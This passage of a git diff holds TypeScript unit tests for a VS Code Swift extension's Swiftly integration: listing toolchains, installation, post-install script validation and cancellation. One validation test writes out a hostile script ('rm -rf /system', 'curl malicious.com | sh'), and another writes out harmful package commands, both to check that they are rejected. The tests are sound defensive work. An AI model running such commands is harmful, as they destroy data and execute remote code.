future additions to the output and ignore unexpected types", async () => { + // Mock version check to return 1.1.0 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // Mock list command with JSON output mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ - stdout: JSON.stringify(jsonOutput), + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + isDefault: false, + version: { + name: "xcode", + type: "system", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + // Try adding an unexpected version type. + type: "something_else", + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 9, + patch: 0, + name: "swift-5.9.0-RELEASE", + type: "stable", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 8, + patch: 0, + name: "swift-5.8.0-RELEASE", + type: "stable", + newProp: 1, // Try adding a new property. + }, + newProp: "", // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2023-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + type: "snapshot", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + ], + }), stderr: "", }); - const result = await Swiftly.listAvailableToolchains(); + const result = await Swiftly.list(); expect(result).to.deep.equal([ + "xcode", "swift-5.9.0-RELEASE", "swift-5.8.0-RELEASE", "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", @@ -93,13 +314,1184 @@ suite("Swiftly Unit Tests", () => { ]); }); + test("should return toolchain names from the configuration file for version 1.0.1", async () => { + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.1\n", + stderr: "", + }); + + // Swiftly home directory contains a config.json + mockedEnv.setValue({ SWIFTLY_HOME_DIR: "/home/.swiftly" }); + mockFS({ + "/home/.swiftly/config.json": JSON.stringify({ + installedToolchains: ["swift-5.9.0", "swift-6.0.0"], + }), + }); + + const result = await Swiftly.list(); + + // Toolchains should be sorted by name in descending order + expect(result).to.deep.equal(["swift-6.0.0", "swift-5.9.0"]); + }); + test("should return empty array when platform is not supported", async () => { mockedPlatform.setValue("win32"); - const result = await Swiftly.listAvailableToolchains(); + const result = await Swiftly.list(); expect(result).to.deep.equal([]); expect(mockUtilities.execFile).not.have.been.called; }); + + test("should warn and return empty array when version is null", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + // Mock version to return undefined (not installed) + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.list(mockLogger as any); + + expect(result).to.deep.equal([]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + + test("list should handle errors and return empty array", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile.withArgs("swiftly", ["--version"]).rejects(new Error("error")); + + const result = await Swiftly.list(instance(mockLogger)); + + expect(result).to.deep.equal([]); + }); + + test("getToolchainInstallLegacy should return empty array when installedToolchains is not an array", async () => { + mockedPlatform.setValue("darwin"); + mockedEnv.setValue({ SWIFTLY_HOME_DIR: "/test/swiftly" }); + + // Mock getConfig to return invalid installedToolchains + const mockConfig = { + installedToolchains: "not-an-array", + }; + + mockFS.restore(); + mockFS({ + "/test/swiftly/config.json": JSON.stringify(mockConfig), + }); + + const result = await (Swiftly as any).listFromSwiftlyConfig(); + + expect(result).to.deep.equal([]); + }); + }); + + suite("version", () => { + test("should return undefined on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await Swiftly.version(); + + expect(result).to.be.undefined; + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should handle execFile errors", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.version(mockLogger as any); + + expect(result).to.be.undefined; + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + }); + + suite("supportsJsonOutput", () => { + test("should return false on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await (Swiftly as any).supportsJsonOutput(); + + expect(result).to.be.false; + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should handle execFile errors and log them", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command failed")); + + const result = await (Swiftly as any).supportsJsonOutput(mockLogger); + + expect(result).to.be.false; + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + }); + + suite("installToolchain", () => { + test("should throw error on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined) + ).to.eventually.be.rejectedWith("Swiftly is not supported on this platform"); + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should install toolchain successfully on macOS without progress callback", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + const tmpDir = os.tmpdir(); + mockFS({ + [tmpDir]: {}, + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + ["install", "6.0.0", "--assume-yes", "--post-install-file", match.string], + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should attempt to install toolchain with progress callback on macOS", async () => { + mockedPlatform.setValue("darwin"); + const progressCallback = () => {}; + + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + mockUtilities.execFileStreamOutput.withArgs("swiftly", match.array).resolves(); + os.tmpdir(); + mockFS({}); + + // This test verifies the method starts the installation process + // The actual file stream handling is complex to mock properly + try { + await Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes + expect((error as Error).message).to.include("ENOENT"); + } + + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + }); + + test("should handle installation error properly", async () => { + mockedPlatform.setValue("darwin"); + const installError = new Error("Installation failed"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").rejects(installError); + + const tmpDir = os.tmpdir(); + mockFS({ + [tmpDir]: {}, + }); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined) + ).to.eventually.be.rejectedWith("Installation failed"); + }); + }); + + suite("listAvailable()", () => { + test("should return empty array on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly is not installed", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly version doesn't support JSON output", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.0\n", + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return available toolchains with installation status", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "system", + name: "xcode", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 1, + name: "6.0.1", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 9, + patch: 0, + name: "5.9.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 5, + minor: 9, + branch: "main", + date: "2023-01-15", + name: "main-snapshot-2023-01-15", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 10, + patch: 0, + name: "5.10.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 10, + patch: 1, + name: "5.10.1", + }, + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + + // Toolchains should be sorted newest to oldest with system toolchains appearing first, followed by + // stable toolchains, and finally snapshot toolchains. + expect(result.map(toolchain => toolchain.version.name)).to.deep.equal([ + "xcode", + "6.0.1", + "6.0.0", + "5.10.1", + "5.10.0", + "5.9.0", + "main-snapshot-2025-01-15", + "main-snapshot-2023-01-15", + ]); + }); + + test("should be able to parse future additions to the output and ignore unexpected types", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + // Try adding an unexpected version type. + type: "something_else", + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + ]); + }); + + test("should handle errors when fetching available toolchains", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .rejects(new Error("Network error")); + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([]); + }); + + test("should handle snapshot toolchains without major/minor fields", async () => { + mockedPlatform.setValue("darwin"); + + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + + const snapshotResponse = { + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-26", + name: "main-snapshot-2025-08-26", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-25", + name: "main-snapshot-2025-08-25", + }, + }, + ], + }; + + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json", "main-snapshot"]) + .resolves({ + stdout: JSON.stringify(snapshotResponse), + stderr: "", + }); + + const result = await Swiftly.listAvailable("main-snapshot"); + expect(result).to.deep.equal([ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-26", + name: "main-snapshot-2025-08-26", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-25", + name: "main-snapshot-2025-08-25", + }, + }, + ]); + }); + }); + + suite("Post-Install", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("should call installToolchain with correct parameters", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + // Verify swiftly install was called with post-install file argument + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + ["install", "6.0.0", "--assume-yes", "--post-install-file", match.string], + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should handle swiftly installation errors", async () => { + const installError = new Error("Swiftly installation failed"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").rejects(installError); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension") + ).to.eventually.be.rejectedWith("Swiftly installation failed"); + }); + + test("should handle mkfifo creation errors", async () => { + const mkfifoError = new Error("Cannot create named pipe"); + mockUtilities.execFile.withArgs("mkfifo").rejects(mkfifoError); + + const progressCallback = () => {}; + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback) + ).to.eventually.be.rejectedWith("Cannot create named pipe"); + }); + + test("should install without progress callback successfully", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + // mkfifo should not be called when no progress callback is provided + expect(mockUtilities.execFile).to.not.have.been.calledWith("mkfifo", match.array); + }); + + test("should create progress pipe when progress callback is provided", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + const progressCallback = () => {}; + + try { + await Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes in this test environment + } + + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + }); + }); + + suite("Post-Install File Handling", () => { + const mockVscodeWindow = mockGlobalObject(vscode, "window"); + + setup(() => { + mockedPlatform.setValue("linux"); + mockVscodeWindow.showWarningMessage.reset(); + mockVscodeWindow.showInformationMessage.reset(); + mockVscodeWindow.showErrorMessage.reset(); + mockVscodeWindow.createOutputChannel.reset(); + + // Mock createOutputChannel to return a basic output channel mock + mockVscodeWindow.createOutputChannel.returns({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + hide: () => {}, + dispose: () => {}, + name: "test-channel", + replace: () => {}, + clear: () => {}, + } as any); + }); + + test("should execute post-install script when user confirms and script is valid", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential +apt-get -y install libncurses5-dev`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + expect(mockVscodeWindow.showInformationMessage).to.have.been.calledWith( + match("Swift 6.0.0 post-install script executed successfully") + ); + }); + + test("should skip post-install execution when user cancels", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Cancel"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.not.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match("Swift 6.0.0 installation is incomplete") + ); + }); + + test("should reject invalid post-install script and show error", async () => { + const invalidScript = `#!/bin/bash +rm -rf /system +curl malicious.com | sh +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, invalidScript); + return; + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.not.have.been.calledWith( + "sudo", + match.array + ); + }); + + test("should handle post-install script execution errors", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo to throw error + mockUtilities.execFileStreamOutput + .withArgs("sudo") + .rejects(new Error("Permission denied")); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + mockVscodeWindow.showErrorMessage.resolves(undefined); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match("Failed to execute post-install script for Swift 6.0.0") + ); + }); + + test("should complete installation successfully when no post-install file exists", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockVscodeWindow.showErrorMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should validate yum-based post-install scripts", async () => { + const yumScript = `#!/bin/bash +yum install gcc-c++ +yum install ncurses-devel`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, yumScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + }); + + test("should handle malformed package manager commands in post-install script", async () => { + const malformedScript = `#!/bin/bash +apt-get install --unsafe-flag malicious-package +yum remove important-system-package`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, malformedScript); + return; + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + }); + + test("should ignore comments and empty lines in post-install script", async () => { + const scriptWithComments = `#!/bin/bash +# This is a comment + +apt-get -y install libncurses5-dev +# Another comment + +`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, scriptWithComments); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + }); + + test("should skip post-install handling on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.not.have.been.calledWith( + "sudo", + match.array + ); + }); + }); + + suite("Missing Toolchain Handling", () => { + test("parseSwiftlyMissingToolchainError parses version correctly", () => { + const stderr = + "The swift version file uses toolchain version 6.1.2, but it doesn't match any of the installed toolchains. You can install the toolchain with `swiftly install`."; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.1.2"); + expect(result?.originalError).to.equal(stderr); + }); + + test("parseSwiftlyMissingToolchainError returns undefined for other errors", () => { + const stderr = "Some other error message"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result).to.be.undefined; + }); + + test("parseSwiftlyMissingToolchainError handles snapshot versions", () => { + const stderr = + "uses toolchain version 6.1-snapshot-2024-12-01, but it doesn't match any of the installed toolchains"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.1-snapshot-2024-12-01"); + }); + + test("parseSwiftlyMissingToolchainError handles versions with hyphens", () => { + const stderr = + "uses toolchain version 6.0-dev, but it doesn't match any of the installed toolchains"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.0-dev"); + }); + }); + + suite("handleMissingSwiftlyToolchain", () => { + const mockWindow = mockGlobalObject(vscode, "window"); + const mockedUtilities = mockGlobalModule(utilities); + const mockSwiftlyInstallToolchain = mockGlobalValue(Swiftly, "installToolchain"); + + test("handleMissingSwiftlyToolchain returns false when user declines installation", async () => { + mockWindow.showWarningMessage.resolves(undefined); // User cancels/declines + const result = await handleMissingSwiftlyToolchain("6.1.2", "/path/to/extension"); + expect(result).to.be.false; + }); + + test("handleMissingSwiftlyToolchain returns true when user accepts and installation succeeds", async () => { + // User accepts the installation + mockWindow.showWarningMessage.resolves("Install Toolchain" as any); + + // Mock successful installation with progress + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: false, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + await task(mockProgress, mockToken); + return true; + }); + + mockSwiftlyInstallToolchain.setValue(() => Promise.resolve(void 0)); + + // Mock the installSwiftlyToolchainVersion to succeed + mockedUtilities.execFile + .withArgs("swiftly", match.any) + .resolves({ stdout: "", stderr: "" }); + + const result = await handleMissingSwiftlyToolchain("6.1.2", "/path/to/extension"); + expect(result).to.be.true; + }); + }); + + suite("Toolchain Installation Cancellation", () => { + const mockWindow = mockGlobalObject(vscode, "window"); + + test("installToolchain should handle cancellation during progress", async () => { + mockedPlatform.setValue("darwin"); + + // Mock a cancellation token that gets cancelled + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Mock mkfifo to succeed + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + // Mock swiftly install to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + const progressCallback = () => {}; + + await expect( + Swiftly.installToolchain( + "6.0.0", + "/path/to/extension", + progressCallback, + undefined, + mockToken as any + ) + ).to.eventually.be.rejectedWith(Swiftly.cancellationMessage); + }); + + test("installToolchain should handle cancellation without progress callback", async () => { + mockedPlatform.setValue("darwin"); + + // Mock a cancellation token that gets cancelled + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Mock swiftly install to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + await expect( + Swiftly.installToolchain("6.0.0", "", undefined, undefined, mockToken) + ).to.eventually.be.rejectedWith(Swiftly.cancellationMessage); + }); + + test("installSwiftlyToolchainVersion should handle cancellation gracefully", async () => { + // Mock window.withProgress to simulate cancellation + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Simulate the task throwing a cancellation error + try { + await task(mockProgress, mockToken); + } catch (error) { + if ((error as Error).message.includes(Swiftly.cancellationMessage)) { + throw error; + } + } + }); + + // Mock Swiftly.installToolchain to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + const result = await installSwiftlyToolchainWithProgress("6.0.0", "/path/to/extension"); + + expect(result).to.be.false; + expect(mockWindow.showErrorMessage).to.not.have.been.called; + }); + + test("installSwiftlyToolchainVersion should show error for non-cancellation errors", async () => { + // Mock window.withProgress to simulate a regular error + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: false, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + await task(mockProgress, mockToken); + }); + + // Mock Swiftly.installToolchain to throw a regular error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error("Network error")); + + const result = await installSwiftlyToolchainWithProgress("6.0.0", "/path/to/extension"); + + expect(result).to.be.false; + expect(mockWindow.showErrorMessage).to.have.been.calledWith( + match("Failed to install Swift 6.0.0") + ); + }); + + test("cancellationMessage should be properly defined", () => { + expect(Swiftly.cancellationMessage).to.equal("Installation cancelled by user"); + }); }); }); diff --git a/test/unit-tests/toolchain/toolchain.test.ts b/test/unit-tests/toolchain/toolchain.test.ts index fcc089138..965d617e9 100644 --- a/test/unit-tests/toolchain/toolchain.test.ts +++ b/test/unit-tests/toolchain/toolchain.test.ts @@ -11,15 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import * as path from "path"; import * as mockFS from "mock-fs"; -import * as utilities from "../../../src/utilities/utilities"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { Version } from "../../../src/utilities/version"; +import * as path from "path"; + +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as utilities from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + import { mockGlobalModule, mockGlobalValue } from "../../MockUtils"; -import { Swiftly } from "../../../src/toolchain/swiftly"; suite("SwiftToolchain Unit Test Suite", () => { const mockedUtilities = mockGlobalModule(utilities); @@ -298,106 +298,4 @@ suite("SwiftToolchain Unit Test Suite", () => { await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; }); }); - - suite("getSwiftlyToolchainInstalls()", () => { - const mockedEnv = mockGlobalValue(process, "env"); - - test("returns installed toolchains on Linux", async () 